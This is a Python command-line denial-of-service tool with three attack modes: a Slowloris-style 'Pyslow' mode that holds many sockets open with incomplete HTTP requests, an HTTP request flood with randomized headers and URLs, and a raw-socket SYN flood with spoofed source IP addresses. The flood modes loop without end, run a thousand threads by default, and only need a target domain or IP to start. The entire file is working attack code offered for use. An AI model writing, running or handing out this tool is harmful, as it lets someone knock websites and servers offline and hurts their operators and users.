#!/usr/bin/python

import os
import sys
import json
import time
import string
import signal
import random
import requests
import colorama
import socket
import traceback
from urllib.parse import urlparse
from http import client
from struct import *
from threading import *
from argparse import ArgumentParser, RawTextHelpFormatter
from termcolor import colored, cprint

def get_fake_ip():
    rand = []

    for x in range(4):
        rand.append(random.randrange(0, 256))

    ip = '{0}.{1}.{2}.{3}'.format(rand[0],rand[1],rand[2],rand[3])

    return ip

def check_target(target):
    try:
        ip = socket.gethostbyname(target)
    except:
        sys.exit('[---] Can\'t resolve host:Unknow host!')
    return ip


def get_useragents():
    uagents = []
    uagents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36')
    uagents.append('(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
    uagents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
    uagents.append('Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50')
    uagents.append('Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)')
    uagents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
    uagents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
    uagents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
    return uagents

def get_referers():
    referers = []
    referers.append('http://www.bing.com/search?q=%40&count=50&first=0')
    referers.append('http://www.google.com/search?hl=en&num=100&q=intext%3A%40&ie=utf-8')
    return referers

def get_cache_controls():
    # https://developer.mozilla.org/ru/docs/Web/HTTP/%D0%97%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%B8/Cache-Control
    cache_controls = ['no-cache', 'no-store', 'max-age=' + str(random.randint(0,10)), 'max-stale=' + str(random.randint(0,100)), 'min-fresh=' + str(random.randint(0,10)), 'notransform', 'only-if-cache']
    return cache_controls

def get_accept_encodings():
    # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Encoding
    accept_encodings = ['compress, gzip', '', '*', 'compress;q=0,5, gzip;q=1.0','gzip;q=1.0, indentity; q=0.5, *;q=0']
    return accept_encodings

def get_accept_charsets():
    # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Charset
    accept_charsets = ['ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15']
    return accept_charsets

class Pyslow:
    def __init__(self, target, port, timeout, threads, sleep):
        self.target = target
        self.port = port
        self.timeout = timeout
        self.threads = threads
        self.sleep = sleep
        self.method = ['GET','POST']
        self.packets_count = 0

    def get_packet(self):
        text = random.choice(self.method) + ' /' + str(random.randint(1,999999999)) + ' HTTP/1.1\r\n' + \
              'Host:' + self.target+'\r\n' + \
              'User-Agent:' + random.choice(get_useragents()) + '\r\n' + \
              'Content-Length: 42\r\n'
        packet = text.encode('utf-8')

        return packet

    def build_socket(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
            sock.settimeout(self.timeout)
            sock.connect((self.target, int(self.port)))
            self.packets_count += 3

            if sock:
                # or sendall
                sock.sendto(self.get_packet(), (self.target, self.port))
                # sock.sendall(b'X-a: b\r\n')
                self.packets_count += 1

        except KeyboardInterrupt:
            sys.exit('[---] Canceled by user')
        except Exception as e:
            print_exc(e)

        return sock

    def do_connection(self):
        socks_count = 0
        fails_count = 0
        created_socks = []

        print('Building sockets...')
        while socks_count < self.threads:
            try:
                sock = self.build_socket()

                if sock:
                    # Save socket object, because sockets must be opened and object must be exists
                    created_socks.append(sock)
                    socks_count += 1
                    print('Opened socks: {socks_count}'.format(socks_count=socks_count))

            except KeyboardInterrupt:
                print('[---] Canceled by user')
            except Exception:
                fails_count += 1

        print('Was send {packets_count} packets successfully.Now going to sleep for {sleep_time} seconds'.format(packets_count=self.packets_count, sleep_time=self.sleep))
        # After sleep all existed sockets will be destroyed
        time.sleep(self.sleep)


class Requester(Thread):

    def __init__(self, target, port):
        super(Requester, self).__init__()
        self.target = target
        self.port = port
        self.ssl = False
        self.connections = []
        url_type = urlparse(self.target)

        if url_type.scheme == 'https':
            self.ssl = True
            self.port = 443
        elif port is None:
            self.port = 80

    def get_header(self):
        referer = random.choice(get_referers())
        cache_control = random.choice(get_cache_controls())
        accept_encoding = random.choice(get_accept_encodings())
        user_agent = random.choice(get_useragents())

        http_header = {
            'User-Agent' : user_agent,
            'Cache-Control' : cache_control,
            'Accept-Encoding' : accept_encoding,
            'Keep-Alive' : '42',
            'Host' : self.target,
            'Referer' : referer
        }

        return http_header

    def get_random_url_string(self):
        response = []
        chars = list(string.ascii_letters + string.digits)

        for x in range(3):
            text = ''.join(random.choice(chars) for _ in range(random.randint(7,14)))
            response.append(text)

        return '&'.join(response)

    def get_url(self):
        return self.target + '?' + self.get_random_url_string()

    def get_data(self):
        url = self.get_url()
        http_header = self.get_header()

        return (url, http_header)

    def run(self):
        try:

            for _ in range(20):
                if self.ssl:
                    conn = client.HTTPSConnection(self.target, self.port)
                else:
                    conn = client.HTTPConnection(self.target, self.port)

                self.connections.append(conn)

            for conn in self.connections:
                url, http_header = self.get_data()
                method = random.choice(['GET', 'POST'])
                conn.request(method, url, None, http_header)

        except KeyboardInterrupt:
            sys.exit('[---] Canceled by user')
        except Exception as e:
            print_exc(e)
        finally:
            self.close_connections()

    def close_connections(self):
        for conn in self.connections:
            try:
                conn.close()
            except:
                pass


class Synflood(Thread):

    def __init__(self, target, port, ip, sock=None):
        super(Synflood, self).__init__()
        self.target = target
        self.ip = ip
        self.port = port
        self.pseudo_header = ''
        self.sock = sock
        self.lock = Lock()

    def checksum(self):
        s = 0
        for i in range(0,len(self.pseudo_header), 2):
            w = (self.pseudo_header[i] << 8) + (self.pseudo_header[i+1])
            s = s + w

        s = (s>>16) + (s & 0xffff)
        s = ~s & 0xffff

        return s

    def get_packet(self):
        ihl = 5
        version = 4
        tos = 0
        tot = 40
        id = 54321
        frag_off = 0
        ttl = 64
        protocol = socket.IPPROTO_TCP
        check = 10
        send_addr = socket.inet_aton(self.ip)
        destination_addr = socket.inet_aton(self.target)
        ihl_version = (version << 4) + ihl

        ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot, id, frag_off, ttl, protocol, check, send_addr, destination_addr)

        source = 54321
        dest = self.port
        seq = 0
        ack_seq = 0
        doff = 5
        fin = 0
        syn = 1
        rst = 0
        ack = 0
        psh = 0
        urg = 0
        window = socket.htons(5840)
        check = 0
        urg_prt = 0
        offset_res = (doff << 4)
        tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5)

        tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_prt)

        #pseudo header fields
        place = 0
        tcp_length = len(tcp_header)

        self.pseudo_header = pack('!4s4sBBH', send_addr, destination_addr, place, protocol, tcp_length)
        self.pseudo_header = self.pseudo_header + tcp_header

        tcp_checksum = self.checksum()

        tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_prt)
        packet = ip_header + tcp_header

        return packet


    def run(self):
        packet = self.get_packet()

        try:
            self.lock.acquire()
            print('Sending packet: {packet}'.format(packet=packet))
            for _ in range(20):
                self.sock.sendto(packet, (self.target, 8000))

        except KeyboardInterrupt:
            sys.exit('[---] Canceled by user')
        except Exception as e:
            print_exc(e)
        finally:
            self.lock.release()


def print_exc(e):
    print('[---] {exception}'.format(exception=e))


def parse_arguments():
    parser = ArgumentParser(usage='./%(prog)s -t [target] -p [port] -t [number threads]', formatter_class=RawTextHelpFormatter)

    options = parser.add_argument_group('options','')
    options.add_argument('-d', metavar='<ip|domain>', default=False, help='Specify your target such an ip or domain name')
    options.add_argument('-t', metavar='<float>', default=5.0,help='Set timeout for socket')
    options.add_argument('-T', metavar='<int>', default=1000,help='Set threads number for connection (default = 1000)')
    options.add_argument('-p', metavar='<int>', default=80,help='Specify port target (default = 80). Only for pyslow attack')
    options.add_argument('-s', metavar='<int>', default=100,help='Set sleep time for reconnection')
    options.add_argument('-i', metavar='<ip address>', default=False,help='Specify spoofed ip unless use fake ip')
    options.add_argument('-Request',action='store_true',help='Enable request target')
    options.add_argument('-Synflood',action='store_true',help='Enable synflood attack')
    options.add_argument('-Pyslow',action='store_true',help='Enable pyslow attack')
    options.add_argument('--fakeip',action='store_true',default=False,help='Option to create fake ip if not specify spoofed ip')
    args = parser.parse_args()

    return args, parser

def main():
    args, parser = parse_arguments()

    if args.d == False:
        parser.print_help()
        sys.exit()

    check_target(args.d)

    try:
        target = args.d
        port = int(args.p)
        timeout = float(args.t)
        sleep_time = int(args.s)
        threads = int(args.T)
        ip = get_fake_ip() if not args.i else args.i
    except Exception as e:
        print_exc(e)

    if args.Synflood:
        # https://www.binarytides.com/raw-socket-programming-in-python-linux/
        # https://github.com/yywf/python/blob/master/tcp.py
        uid = os.getuid()
        if uid != 0:
            sys.exit('[---] You haven\'t enough permission to run this script')

        synsock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        # Include IP headers
        synsock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

        useful_threads=[]

        while True:
            try:
                for x in range(threads):
                    t = Synflood(target, port, ip, sock=synsock)
                    useful_threads.append(t)
                    t.setDaemon(True)
                    t.start()

            except KeyboardInterrupt:
                sys.exit('[---] Canceled by user')
            finally:
                for t in useful_threads:
                    t.join()

    if args.Request:
        useful_threads = []
        while True:
            try:
                for x in range(threads):
                    t = Requester(target, port)
                    useful_threads.append(t)
                    t.setDaemon(True)
                    t.start()

            except KeyboardInterrupt:
                sys.exit('[---] Canceled by user')

            finally:
                for t in useful_threads:
                    t.join()

    elif args.Pyslow:
        while True:
            try:
                worker = Pyslow(target, port, timeout, threads, sleep_time)
                worker.do_connection()
            except KeyboardInterrupt:
                sys.exit('[---] Canceled by user')

    else:
        parser.print_help()
        sys.exit('[---] You must choose attack type')


if __name__ == '__main__':
    main()